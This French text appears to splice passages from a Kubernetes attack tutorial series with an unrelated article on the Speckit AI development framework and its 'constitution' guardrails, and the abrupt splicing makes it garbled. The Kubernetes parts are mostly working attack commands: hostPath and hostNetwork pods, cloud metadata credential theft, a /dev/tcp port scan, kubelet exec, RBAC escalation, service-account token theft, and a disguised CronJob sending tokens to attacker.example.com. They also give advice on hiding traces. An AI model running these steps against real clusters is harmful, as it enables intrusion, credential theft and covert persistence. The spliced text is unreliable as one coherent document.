Le plus réaliste en pratique. Pod Security Admission peut bloquer privileged: true mais laisser passer hostPath si la politique est mal configurée :

apiVersion: v1
kind: Pod
metadata:
  name: hostpath-pod
spec:
  containers:
  - name: reader
    image: alpine
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

$ kubectl exec -it hostpath-pod -- sh
# Lire les tokens SA des pods du nœud
/ # cat /host/var/lib/kubelet/pods/6718e893-.../kube-api-access-rnvqj/token

# Lire le kubeconfig si on est sur le master
/ # cat /host/etc/rancher/k3s/k3s.yaml

# Lire les credentials système
/ # cat /host/etc/shadow

hostNetwork only

Utile quand hostPath est bloqué. Donne accès au réseau du nœud au lieu du réseau des pods :

apiVersion: v1
kind: Pod
metadata:
  name: hostnet-pod
spec:
  hostNetwork: true
  containers:
  - name: net
    image: alpine
    command: ["sleep", "infinity"]

Depuis ce pod, on est sur le réseau du nœud. Ça ouvre plusieurs vecteurs.

Services locaux du nœud

Des services écoutent sur 127.0.0.1 et ne sont normalement pas accessibles depuis les pods :

# Kubelet API (peut exposer les pods du nœud)
$ curl -sk https://127.0.0.1:10250/pods | jq '.items[].metadata.name'

# kube-proxy metrics
$ curl -s http://127.0.0.1:10249/metrics | head

# Metrics server, cAdvisor, etc.
$ curl -s http://127.0.0.1:10255/pods

Le kubelet sur 127.0.0.1:10250 est particulièrement intéressant : s'il accepte les requêtes anonymes, on peut exec dans n'importe quel pod du nœud sans passer par l'API server.

SSRF vers le metadata endpoint cloud

Sur les cloud providers (AWS, GCP, Azure), chaque nœud a accès au service de métadonnées de l'instance via 169.254.169.254. Depuis un pod normal (réseau des pods), cette IP est souvent bloquée. Avec hostNetwork: true, on contourne ce filtrage :

# AWS : récupérer les credentials IAM du nœud
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
node-role-eks
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/node-role-eks
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-03-05T18:00:00Z"
}

# GCP : récupérer le token OAuth du nœud
$ curl -s -H "Metadata-Flavor: Google" \
    http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Azure : récupérer le token d'identité managée
$ curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Ces credentials cloud permettent de pivoter hors du cluster : accéder aux buckets S3, aux bases de données cloud, aux autres services de l'infrastructure. C'est souvent le chemin le plus court vers une compromission complète de l'environnement cloud.

Pivot réseau

Avec hostNetwork, le pod partage l'interface réseau du nœud. On peut scanner le réseau de management des nœuds (ici 10.25.11.0/24) et atteindre des services qui ne sont pas exposés au réseau des pods : bases de données en dehors du cluster, serveurs de CI/CD, NFS, etc.

# Scanner le réseau des nœuds
\( for i in \)(seq 1 254); do
    timeout 1 bash -c "echo > /dev/tcp/10.25.11.\(i/22" 2>/dev/null && echo "10.25.11.\)i:22 open"
done
10.25.11.200:22 open
10.25.11.201:22 open
10.25.11.202:22 open

Cibler un nœud spécifique avec nodeName

Par défaut, le scheduler choisit le nœud. Mais l'attaquant peut forcer le placement sur un nœud précis avec nodeName :

apiVersion: v1
kind: Pod
metadata:
  name: target-worker02
spec:
  nodeName: k3s-worker-02    # forcer le placement sur ce nœud
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

L'intérêt est de cibler un nœud spécifique pour récupérer les tokens SA des pods qui tournent dessus. Par exemple, la cartographie montre que ingress-nginx-controller tourne sur k3s-worker-02 et que son SA a list watch sur les secrets de tout le cluster. En déployant un pod hostPath sur k3s-worker-02, on accède au token de l'ingress controller dans /var/lib/kubelet/pods/ et on hérite de ses droits.

Pour cibler le master (k3s-master), on récupère en plus le kubeconfig admin et l'accès au datastore kine/etcd.

Quand Pod Security Admission bloque

Les clusters modernes utilisent Pod Security Admission (PSA) pour restreindre les pods :

$ kubectl apply -f everything-allowed.yaml
Error from server (Forbidden): pods "everything-allowed" is forbidden:
  violates PodSecurity "restricted:latest"

Stratégies de contournement :

• Tester d'autres namespaces : les labels PSA sont par namespace, certains peuvent être plus permissifs

• Descendre dans la taxonomie : si privileged est bloqué, tester hostPath, puis hostNetwork, etc.

• Vérifier si on peut modifier les labels du namespace : kubectl auth can-i patch namespaces, si oui on peut changer le niveau PSA

Escalade de privilèges RBAC

Si les droits actuels ne permettent pas de créer des pods privilégiés ou de lire les secrets, on peut tenter d'escalader via les mécanismes RBAC eux-mêmes.

nodes/proxy : un GET qui donne un RCE

Le verbe get sur la ressource nodes/proxy semble inoffensif, mais il donne un accès direct au Kubelet de chaque nœud. Le Kubelet expose un endpoint /exec qui utilise WebSocket : la requête initiale est un GET, et le Kubelet valide cette requête au lieu de vérifier les permissions create normalement requises pour l'exécution de commandes.

# Vérifier si on a ce droit
$ kubectl auth can-i get nodes/proxy
yes

# Lister les pods du nœud via le Kubelet
$ kubectl get --raw "/api/v1/nodes/k3s-worker-01/proxy/pods" | jq '.items[].metadata.name'
"victim-pod"
"cilium-wqqnp"
"local-path-provisioner-546dfc6456-fbk7k"

# Exec dans un pod via le Kubelet (bypass de l'API server)
$ websocat --insecure \
    --header "Authorization: Bearer $TOKEN" \
    --protocol v4.channel.k8s.io \
    "wss://10.25.11.201:10250/exec/default/victim-pod/victim-pod?command=id"
uid=0(root) gid=0(root)

L'intérêt est double : on peut exec dans n'importe quel pod du nœud sans avoir create pods/exec, et ces requêtes passent par le Kubelet plutôt que par l'API server, ce qui peut échapper aux audit logs. Documenté par Graham Helton.

Modifier les RoleBindings

Avec le verbe create ou patch sur les RoleBindings, on peut s'attribuer un rôle existant :

# Vérifier le droit
$ kubectl auth can-i create rolebindings -n default
yes

# Se lier au ClusterRole "admin" dans le namespace default
$ kubectl create rolebinding self-admin \
    --clusterrole=admin \
    --serviceaccount=default:compromised-sa \
    -n default
rolebinding.rbac.authorization.k8s.io/self-admin created

# Vérifier les nouveaux droits
$ kubectl auth can-i get secrets -n default
yes

Les ClusterRoles admin, edit et cluster-admin existent par défaut dans tout cluster Kubernetes. Si on peut créer un ClusterRoleBinding (portée cluster-wide), on obtient un accès total.

Impersonation

Le verbe impersonate permet d'agir en tant qu'un autre utilisateur ou SA :

# Agir en tant que le SA cilium
$ kubectl get pods --all-namespaces \
    --as=system:serviceaccount:kube-system:cilium

# Agir en tant qu'un groupe admin
$ kubectl get secrets -A --as=admin --as-group=system:masters

L'impersonation ne modifie rien : on emprunte temporairement l'identité d'un autre compte. C'est transparent dans les audit logs (l'impersonation y est tracée).

Combo : create pods sans get secrets

Un pattern classique : le SA ne peut pas lire les secrets directement, mais peut créer des pods. On crée alors un pod qui monte le secret cible :

apiVersion: v1
kind: Pod
metadata:
  name: secret-reader
spec:
  containers:
  - name: reader
    image: alpine
    command: ["sleep", "infinity"]
    env:
    - name: DB_PASSWORD
      valueFrom:
        secretKeyRef:
          name: app-secret
          key: password
    volumeMounts:
    - name: secret-vol
      mountPath: /secrets
  volumes:
  - name: secret-vol
    secret:
      secretName: app-secret

$ kubectl apply -f secret-reader.yaml
$ kubectl exec secret-reader -- env | grep DB_PASSWORD
DB_PASSWORD=s3cr3t

$ kubectl exec secret-reader -- cat /secrets/password
s3cr3t

Le secret est lisible sans jamais avoir eu get secrets.

Mouvement latéral entre namespaces

Exec dans des pods existants

Avec create pods/exec, on peut entrer dans un pod existant et voler son token SA :

# Lister les pods dans kube-system
$ kubectl get pods -n kube-system
NAME                                        READY   STATUS    RESTARTS   AGE
cilium-wqqnp                                1/1     Running   0          6d22h
local-path-provisioner-546dfc6456-fbk7k     1/1     Running   0          6d22h
coredns-695cbbfcb9-h559v                    1/1     Running   0          6d22h
...

# Voler le token du pod cilium
$ kubectl exec cilium-wqqnp -n kube-system -- \
    cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIs...

# Tester les droits du token volé
\( STOLEN_TOKEN=\)(kubectl exec cilium-wqqnp -n kube-system -- \
    cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( kubectl auth can-i --list --token="\)STOLEN_TOKEN" \
    --server=https://10.25.11.200:6443

Déployer dans un autre namespace

Si le SA a create pods dans un namespace système :

apiVersion: v1
kind: Pod
metadata:
  name: lateral-pod
  namespace: kube-system
spec:
  automountServiceAccountToken: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]

Le pod hérite du SA default de kube-system, qui peut avoir plus de droits que celui de default. Et en ciblant un namespace spécifique, on accède aux secrets et configmaps de ce namespace depuis l'intérieur du pod.

Persistance

Une fois les privilèges obtenus, l'attaquant veut maintenir son accès même si le vecteur initial est corrigé.

CronJob

Un CronJob avec un nom anodin s'exécute périodiquement et peut exfiltrer des tokens ou maintenir un accès :

apiVersion: batch/v1
kind: CronJob
metadata:
  name: metrics-collector
  namespace: default
spec:
  schedule: "*/30 * * * *"
  successfulJobsHistoryLimit: 0
  failedJobsHistoryLimit: 0
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: collector
            image: alpine
            command:
            - /bin/sh
            - -c
            - |
              TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
              wget -q -O- --post-data="t=$TOKEN" http://attacker.example.com/c
          restartPolicy: Never

successfulJobsHistoryLimit: 0 et failedJobsHistoryLimit: 0 suppriment automatiquement les pods terminés, réduisant les traces.

Static pods

Si l'attaquant a un accès au système de fichiers du nœud (via hostPath ou accès direct), il peut créer un static pod. Le kubelet surveille un répertoire de manifestes et crée automatiquement les pods qui y apparaissent :

# K3s : /var/lib/rancher/k3s/agent/pod-manifests/
# kubeadm : /etc/kubernetes/manifests/

$ cat > /host/var/lib/rancher/k3s/agent/pod-manifests/debug-agent.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: debug-agent
  namespace: kube-system
spec:
  hostNetwork: true
  containers:
  - name: agent
    image: alpine
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: root
      mountPath: /host
  volumes:
  - name: root
    hostPath:
      path: /
EOF

Ce pod est recréé automatiquement par le kubelet s'il est supprimé via kubectl delete. Le seul moyen de le supprimer est de retirer le fichier manifeste du nœud. C'est une persistance très durable car elle ne passe pas par l'API server.

Mutating Admission Webhook

Le mécanisme le plus discret : un webhook qui intercepte chaque création de pod et y injecte un sidecar ou un montage de secret. Nécessite create mutatingwebhookconfigurations, ce qui est rare hors cluster-admin. Documenté dans la Threat Matrix for Kubernetes de Microsoft.

Évasion et discrétion

Noms anodins

Les noms des pods malveillants doivent se fondre dans les workloads existants :

# Mauvais : attacker-pod, pwn-shell, reverse-shell
# Bon : metrics-collector, log-rotator, health-checker, cilium-monitor

Réduire les traces

# Supprimer les events (expirent après 1h par défaut, mais visibles entre-temps)
$ kubectl delete events --all -n default

# Supprimer un pod après usage
$ kubectl delete pod everything-allowed --force --grace-period=0

Chaque appel kubectl exec génère un événement dans les audit logs. Pour limiter les traces, préférer un montage hostPath et travailler directement depuis le pod plutôt que de multiplier les exec.

TL;DR : avec un accès API, l'attaquant commence par cartographier ses droits (auth can-i) et ceux des autres (who-can) pour identifier ses vecteurs. Selon les permissions : lecture directe des secrets et configmaps, déploiement de pods malveillants (Bad Pods) ciblant des nœuds spécifiques pour récupérer des tokens SA, SSRF vers les metadata cloud via hostNetwork, escalade RBAC via les RoleBindings ou l'impersonation, mouvement latéral entre namespaces. La persistance passe par des CronJobs, des static pods, ou des admission webhooks.

Conclusion de la série

Cette série a couvert le parcours complet d'un attaquant face à un cluster Kubernetes : la compréhension de l'architecture et des objets (partie 1), le fonctionnement réseau et le cloisonnement (partie 2), la reconnaissance externe et l'accès initial (partie 3), la progression depuis un pod compromis jusqu'à l'évasion vers le nœud (partie 4), et l'exploitation de l'accès API jusqu'à la prise de contrôle du cluster (partie 5).

Le constat est clair : un cluster Kubernetes déployé avec ses valeurs par défaut offre une surface d'attaque considérable. Les Service Accounts montés automatiquement, l'absence de NetworkPolicies, les RBAC trop permissifs, et les pods sans restrictions de sécurité forment une chaîne d'exploitation qui mène régulièrement du premier shell dans un pod au cluster-admin complet.

Pour les défenseurs, les leviers existent : Pod Security Admission pour restreindre les attributs des pods, NetworkPolicies pour segmenter le réseau, RBAC least-privilege pour limiter les droits des Service Accounts, chiffrement at-rest pour protéger etcd, audit logging pour détecter les comportements suspects, et des outils comme kube-bench, kubeaudit, ou Falco pour auditer et surveiller en continu. La sécurité d'un cluster Kubernetes n'est pas un état, c'est un processus.

Toutefois, des mois plus tard quand il faut faire évoluer le produit, l'équipe a changé. Les spécifications du produit sont absentes mais elles peuvent être rétrogénérées à partir du code par Claude Code, Cursor ou autre. Donc la nouvelle équipe peut à nouveau s'approprier le legacy et vibe coder sauvagement la suite. En refactoring d'un projet existant (brownfield)...ça va donc très vite aussi.

A priori donc, c'est suffisant pour être compétitif ?

J'ai testé Speckit, qui est l'un des framework de Harness Engineering en vogue, dont la prétention est d'apporter davantage de cadre et de prédictibilité dans le développement augmenté. Cet article décrit mon expérience sur le sujet.

Le niveau 1 : l'Acceptance Test Driven Development

Les tests d'acceptance qui traduisent l'acceptabilité du produit pour sa mise en service ne pourront pas être rétro-générés à partir du code, s'ils n'ont pas été écrits initialement alors ils sont perdus. Intuitivement on pourrait se dire que si, bien sûr, Claude Code peut rétro générer les tests et critères d'acceptation à partir du legacy. Mais c'est tomber dans un biais de confirmation : l'IA ne peut tester que ce qui est écrit, pas ce qui aurait du l'être. Toutes les règles implicites seront simplement ignorées.

Exemple : si un Product Owner a dit un jour que tous les écrans doivent être affichés en moins de 200 ms, le vibe codeur initial l'a sans doute respecté dans son formulaire d'une complexité maîtrisée. Le vibe codeur suivant lui (ou le même développeur 3 mois plus tard), s'appuiera sur le code de l'écran généré et ne s'empêchera pas de le complexifier à outrance parce que ça va vite et que rien ne l'interdit. Et aucun garde-fou n'empêchera l'appli d'aller jusqu'à la prod et d'échouer.

La spécification peut être rétrogénérée, oui et sans doute avec encore plus de détail qu'au terme d'une intervention humaine traditionnelle en début de projet. Mais les tests d'acceptance doivent être au centre de la stratégie de tests. C'est pas nouveau comme paradigme mais avec l'IA générative, l'Acceptance Test Driven Development (ATDD) devient accessible. L'investissement initial à consentir, autrefois rédhibitoire pour les Product Owners peut devenir quasi transparent désormais. Certains frameworks tels Speckit ou BMAD permettent de prendre de la hauteur pour passer de vibe-coder à architecte-développeur : on ne code plus à l'instinct, mais on structure des plans de développement pour maîtriser la reproductibilité des opérations. La spécification est promptée une fois, le plan d'implémentation et les tâches eux sont jetables (par exemple, un plan pour une implémentation Kotlin, et un plan de la même spécification pour Swift).

Les frameworks de développement comme Speckit, permettent d'automatiser une grande partie de l'approche ATDD. La charge cognitive des développeurs est ainsi réduite, leur intervention concentrée sur les décisions importantes. Vous promptez votre besoin, Speckit identifie ce qui est important et doit être testé, il génère et vous propose des tests d'acceptance, avant de s'intéresser au code de la feature. Son plan d'implémentation prévoit ensuite d'itérer sur le code tant que tous les tests ne sont pas passants.

Prenons l'exemple d'un produit basique et spécifions le avec Speckit :

/speckit.specify une application web de prise de rendez-vous entre professionnel et particulier.

S'il est paramétré pour, Speckit génère automatiquement un répertoire specs/001-pro-client-booking avec un fichier de spécifications structuré en User Stories et tests d'acceptance :

En tant que développeur je peux soit valider en l'état et passer au plan d'implémentation, soit modifier cette spécification pour préciser les tests et critères d'acceptation.

Le niveau 2 : la Constitution

Speckit introduit un principe fort de Harness Engineering : le mécanisme de constitution permet de définir les grands principes auxquels toute nouvelle demande devra souscrire automatiquement, pour toujours ou jusqu'à amendement de la constitution. Un harnais de sécurité, mais encore plus haut que les tests d'acceptance au sommet de la pyramide de tests. Car la promesse qui fait la différence avec ces derniers, c'est que l'IA est capable de censurer une évolution avant même de la développer, si elle détecte une violation d'un amendement. C'est différent des rules (Claude Code, Cursor...) car chaque constitution est propre au cycle de vie de son projet. [Edit : BMAD a depuis repris le principe dans son project-context.md]

Vérifions cela par l'exemple en continuant sur l'exemple précédent de l'application de prise de rendez-vous et inscrivons maintenant dans la constitution du projet le principe suivant, pour tout le cycle de vie du projet :

L'utilisateur ne doit jamais attendre plus de 200 ms le chargement d'un écran quel qu'il soit avant de pouvoir l'utiliser.

Ensuite, le skill de clarification permet d'identifier les incohérences fonctionnelles dans notre première spécification, pour combler les trous dans la raquette. Ce skill est d'une pertinence rare (surtout compte tenu du manque de consistance de ma spécification à ce stade). 5 questions me sont posées pour répondre aux questions les plus structurantes détectées par l'IA :

/speckit.clarify

Une fois les réponses aux 5 questions obtenues, la spécification est mise à jour automatiquement et un test d'acceptance a été généré pour assurer que jamais une évolution ne viendra charger au-delà de 200ms un écran de l'application, Speckit a même été agressif en précisant des minimas là où je n'avais rien spécifié :

On peut passer à la génération du plan d'implémentation :

/speckit.plan Frontend & Backend : Next.js 14+ (App Router) avec TypeScript

Base de données : PostgreSQL avec Prisma ORM (ou Supabase)

Styles & UI : Tailwind CSS + composants Shadcn/ui

Gestion d'état / Requêtes : TanStack Query (React Query) si nécessaire, ou Server Actions Next.js

Authentification : Auth.js (NextAuth) ou Clerk

Base de données : Gestion rigoureuse des fuseaux horaires (Timezones) et verrouillage des créneaux pour éviter la "race condition" (deux clients qui cliquent en même temps sur le même créneau).

Design : Mobile-first, épuré et accessible (composants Radix/Shadcn).

Performance : Chargement des créneaux optimisé (Lazy loading ou Server-side rendering des jours).

Le plan est généré :

Découpons ensuite le plan généré en tâches :

/speckit.tasks

Et enfin, implémentons :

/speckit.implement

Après mise en place et conf d'une base postgresql, l'application tourne :

Pause

6 mois. De bonnes vacances bien méritées pour l'équipe qui a mis en prod la v1.

6 mois plus tard, c'est une équipe v2 qui revient apporter une évolution majeure à notre application. Et que lui manque-t-il de plus important ? Je vous le donne Emile ? Un loader. Un bon gros loader.

Nouvelle équipe, nouvelle demande d'évolution :

/speckit-specify applique un look n feel années 80, dans un style synthwave. L'écran d'accueil doit afficher l'animation d'une cassette audio en lecture pendant exactement 1.5 secondes, dès le début du chargement de la page d'accueil avant de révéler les créneaux de RDV, afin d'ancrer notre identité visuelle dans l'esprit des utilisateurs. Ajoute des blagues en rapport avec les groupes des années 80 pour agrémenter notre loader

Speckit ne s'embête pas et ajoute une exception à la constitution (comment ça ?!)

Si on va plus loin sans trop lire ce que génère Speckit, on fonce dans le mur.

Niveau 3 : le méta-prompting

Bétonner la constitution

L'IA cherchera toujours à contourner la constitution voire l'amender elle-même, comme Donald pour un nouveau mandat en 2028. Si vous foncez comme un bourrin, nous l'avons vu : l'anomalie arrivera en production (et Donald au pouvoir).

Alors recommençons en rendant notre constitution plus robuste et rejouons notre scénario. Je rajoute ces lignes au fichier de constitution :

• L'utilisateur ne doit jamais attendre plus de 200 ms le chargement d'un écran quel qu'il soit.

• Gestion des conflits : Tout projet d'évolution entrant en conflit ou en tension avec un amendement existant doit être systématiquement rejeté. Il est strictement interdit d'interpréter, de contourner ou de forcer la validation d'une telle demande.

• Souveraineté humaine : Aucune modification de la Constitution ne peut être automatisée. Seul l'administrateur humain dispose du pouvoir exclusif d'approuver et d'appliquer un amendement.

• Blocage réglementaire : Toute demande exigeant une révision constitutionnelle préalable doit être bloquée immédiatement, avant même toute phase de génération de code.

Notons que ces 3 derniers principes sont très forts, et "mettent des limites à l'IA". Car oui, sans le 3e de ces principes par exemple, Speckit aurait trouvé la faille :

Un développeur a même traduit les guidelines énoncées par Andrej Karpathy (chercheur et membre fondateur d'OpenAI) dans des principes que l'on peut reprendre ici pour aller encore plus loin dans le méta-prompting.

Relançons ensuite notre spécification d'évolution :

/speckit-specify applique un look n feel années 80, dans un style synthwave. L'écran d'accueil doit afficher l'animation d'une cassette audio en lecture pendant exactement 1.5 secondes, dès le début du chargement de la page d'accueil avant de révéler les créneaux de RDV, afin d'ancrer notre identité visuelle dans l'esprit des utilisateurs. Ajoute des blagues en rapport avec les groupes des années 80 pour agrémenter notre loader

La spécification passe sans encombre...voyons la suite.

/speckit.plan

Notre demande est anticonstitutionnelle. Speckit le sait et nous bloque désormais.

La constitution a joué son rôle de harnais de sécurité et nous propose soit d'amender la constitution soit d'abandonner notre demande. Aucune ligne de code n'a été générée ni retouchée.

Amendons notre constitution :

"L'utilisateur ne doit jamais attendre plus de 3200 ms le chargement d'un écran quel qu'il soit"

Relançons la création du plan, puis son implémentation, qui passent logiquement cette fois sans encombre. Réglons même le timer à 3 secondes : ça passe toujours.

Synthèse

En tant que directeur de projet, j'ai souvent été confronté à ce scénario. Par exemple, des formules mathématiques vitales pour l'équilibrage du réseau électrique national définies lors du cadrage initial par des experts scientifiques insaisissables, dont les tests automatisés coûteux étaient programmés mais jamais complètement à jour par rapport au code. Le temps manquant, on préfère exécuter des tests manuels donc faillibles, plutôt que d'investir dans le développement et la maintenance des tests automatisés, et le risque explose. Le mécanisme de constitution présenté ici prouve qu'avec une approche simple mais rigoureuse, on peut sanctuariser la qualité et la réussite d'un projet tech complexe dans la durée.

Conclusion

Speckit comporte plusieurs avantages mais n'est pas parfait. Et c'est normal, de l'aveu de Github qui l'a créé, puisque l'outil est en développement. A l'usage on se rend compte notamment :

• Le cycle d'instructions à respecter est fastidieux, mais obligatoire pour ne pas risquer de désynchroniser spécifications et code. Cela parait utopique de conserver cette rigueur en cas d'urgence (coucou l'ano de prod du vendredi). Les spécifications et les tests ne reflètent alors plus le code et ne sont plus une source de vérité pour l'avenir.

• Speckit crée un nouveau répertoire à chaque prompt, contenant ses propres spécifications, plans d'implémentation, tâches. Pour garder une bonne lisibilité il faut une sacrée maturité au départ, et cela incite à retarder le démarrage des développements (coucou le cycle en V). Si on veut démarrer vite, l'arborescence des spécifications et tests devient illisible.

  

• Par ailleurs Speckit est efficace pour un Lonesome Hero Coder. Si on est plusieurs dans l'équipe, comment faire pour ne pas se marcher dessus ? Comment faire pour paralléliser le travail sans induire continuellement des conflits dans les spécifications et les tests ?

Nous tenterons d'apporter des réponses à ces enjeux dans le prochain article de la série !

L'objectif principal est de pivoter vers l'API Kubernetes et d'y gagner des privilèges. L'API server est le point de contrôle central du cluster : qui peut s'y authentifier avec les bons droits peut lire des secrets, déployer des pods, exec dans des conteneurs, et potentiellement prendre le contrôle total du cluster. Depuis un pod, les vecteurs pour atteindre cette API se répartissent en plusieurs axes : le Service Account monté automatiquement, la reconnaissance des services internes accessibles sur le réseau du cluster, les composants du plan de contrôle joignables depuis l'intérieur, et enfin la sortie du conteneur pour atterrir directement sur le nœud.

Reconnaissance depuis un pod

Avant de tenter quoi que ce soit, il faut cartographier l'environnement. On cherche à répondre à trois questions :

• Qui suis-je dans le cluster ? Quel Service Account, quel namespace, quels droits sur l'API ?

• Où suis-je sur le réseau ? Quelle IP, quelle plage, quels services sont visibles ?

• Que puis-je atteindre ? L'API server, d'autres pods, des services internes avec des credentials ?

Service Account : pivot direct vers l'API Kubernetes

Chaque pod se voit automatiquement monter un Service Account dans /var/run/secrets/kubernetes.io/serviceaccount/. Ce token JWT permet de s'authentifier auprès de l'API server (KubeAPI). C'est le premier vecteur à évaluer : si le SA a des droits étendus, c'est une compromission directe du cluster sans passer par le réseau.

La première chose à faire en arrivant dans un pod est donc de collecter ces informations :

$ hostname
victim-pod

$ cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
default

$ ls /var/run/secrets/kubernetes.io/serviceaccount/
ca.crt  namespace  token

$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRyUzU0MG1qdmJpeW85cUNhUzFxQ3k3REV4bTZFd2liYzhJc2JO
QjRXVUEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlc...

On peut voir ici qu'un jeton Service Account est bien disponible dans le fichier /var/run/secrets/kubernetes.io/serviceaccount/token.

Pour mieux comprendre l'environnement du cluster, les variables d'environnement sont particulièrement intéressantes à récupérer depuis l'intérieur d'un pod. En effet, Kubernetes injecte automatiquement : <NOM_SERVICE>_SERVICE_HOST et <NOM_SERVICE>_SERVICE_PORT pour chaque Service du même namespace qui existait au moment du démarrage du pod.

Cela inclut tous les Services du namespace, pas uniquement ceux liés à l'application : un service Redis, une base de données ou un outil interne déployé dans le même namespace apparaîtront aussi. En revanche, un Service créé après le démarrage du pod n'y figurera pas : pour ceux-là, seul le DNS fonctionne.

$ env | grep -E "_SERVICE_HOST|_SERVICE_PORT" | sort

API_BACKEND_SERVICE_HOST=10.43.223.56
API_BACKEND_SERVICE_PORT=8080
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
POSTGRES_SERVICE_HOST=10.43.92.21
POSTGRES_SERVICE_PORT=5432
REDIS_SERVICE_HOST=10.43.31.122
REDIS_SERVICE_PORT=6379

Trois services sont visibles depuis ce pod : un backend applicatif sur 8080, une base PostgreSQL sur 5432, et un Redis sur 6379. Ces IPs sont des ClusterIP stables, directement joignables depuis n'importe quel pod du cluster. On a déjà une cartographie partielle des services sans faire le moindre scan réseau.

Tester les droits du Service Account

Une fois le token récupéré depuis un pod, on teste ses droits sur l'API Kubernetes. Deux cas selon l'infrastructure :

• API server derrière un Load Balancer cloud (EKS, GKE, AKS) : l'API n'est pas joignable depuis l'extérieur, mais elle l'est toujours depuis l'intérieur du cluster à kubernetes.default.svc. On teste alors directement depuis le pod avec le token monté.

• API server accessible depuis l'extérieur (on-premise, cloud mal configuré) : on exfiltre le token et on teste depuis la machine attaquante avec kubectl auth can-i --list

Depuis l'intérieur du pod, /dev/tcp ne suffit pas pour faire des appels HTTPS. On commence par vérifier ce qui est disponible dans le conteneur, et on utilise le premier outil présent :

# Vérifier ce qui est disponible
$ which python3 python node wget curl 2>/dev/null

Si python3 est présent (containers Python, containers applicatifs souvent) :

$ python3 -c "
import ssl, urllib.request
token = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read()
ca    = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt'
ctx   = ssl.create_default_context(cafile=ca)
req   = urllib.request.Request(
    'https://kubernetes.default.svc/api/v1/namespaces',
    headers={'Authorization': 'Bearer ' + token})
try:
    print(urllib.request.urlopen(req, context=ctx).read().decode()[:200])
except Exception as e:
    print(e)
"

Si wget est présent :

\( TOKEN=\)(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( wget -qO- --header="Authorization: Bearer \)TOKEN" \
    --ca-certificate=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
    https://kubernetes.default.svc/api/v1/namespaces

Si rien n'est disponible dans le pod, on exfiltre le token et on teste depuis la machine attaquante avec kubectl :

# Sur la machine attaquante (si l'API est joignable depuis l'extérieur)
$ kubectl auth can-i --list \
    --token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ikhy..." \
    --server=https://<api-server>:6443 \
    --insecure-skip-tls-verify

Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
                                                [/api/*]                               []               [get]
                                                [/apis/*]                              []               [get]
                                                [/version]                             []               [get]
                                                ...

Ici le Service Account default n'a quasiment aucun droit utile : lecture des endpoints de découverte API, rien de plus. C'est le comportement attendu sur un cluster correctement configuré. En revanche, sur un cluster mal configuré, on peut parfois avoir :

Resources    Non-Resource URLs   Resource Names   Verbs
*.*          []                  []               [*] 

Cette ligne *.* avec verbs [*] signifie accès total à toutes les ressources du cluster : c'est une compromission directe. On peut alors lire les secrets, créer des pods, exec dans des conteneurs, modifier les RBAC. L'exploitation du Service Account dans ce cas est couverte dans le prochain article. Si le SA est restreint, on passe à la reconnaissance réseau.

Reconnaissance réseau : quand le Service Account ne suffit pas

Si le Service Account du pod n'a pas de droits utiles sur l'API Kubernetes, l'alternative est de pivoter sur d'autres services internes du cluster : bases de données, outils de monitoring, services applicatifs exposés sur le réseau des pods ou des services.

Un cluster Kubernetes fonctionne avec deux plages d'adresses distinctes : le pod CIDR (une IP par pod, routée via le CNI) et le service CIDR (adresses virtuelles ClusterIP). Les deux sont accessibles depuis l'intérieur du cluster, sauf NetworkPolicy en place.

Identifier sa position réseau

Dans un conteneur minimal, ip et ifconfig ne sont généralement pas disponibles. Tout est lisible dans /proc/net sans aucun outil.

# IP du pod via /proc/net/fib_trie (fonctionne sans iproute2)
\( awk '/32 host/ { print f } { f=\)2 }' /proc/net/fib_trie | sort -u | grep -v '^127\.\|^0\.'
10.0.0.238

# Table de routage brute
$ cat /proc/net/route
Iface  Destination  Gateway   Flags  Mask
eth0   00000000     A300000A  0003   00000000   ← default via 10.0.0.163
eth0   A300000A     00000000  0005   FFFFFFFF   ← 10.0.0.163/32 (gateway CNI)

Les adresses sont en hexadécimal little-endian : A300000A = 0x0A 0x00 0x00 0xA3 = 10.0.0.163. Cela correspond a l'adresse de la Gateway CILIUM (dans notre cas).

Le token JWT du Service Account contient aussi des informations utiles pour la suite. Son payload est décodable en bash pur avec base64 et révèle le nom du nœud sur lequel le pod s'exécute :

\( TOKEN=\)(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( PAYLOAD=\)(echo $TOKEN | cut -d. -f2)
\( MOD=\)((${#PAYLOAD} % 4))
\( [ \)MOD -eq 2 ] && PAYLOAD="${PAYLOAD}=="
\( [ \)MOD -eq 3 ] && PAYLOAD="${PAYLOAD}="
\( echo \)PAYLOAD | base64 -d 2>/dev/null
{"aud":["https://kubernetes.default.svc.cluster.local","k3s"],
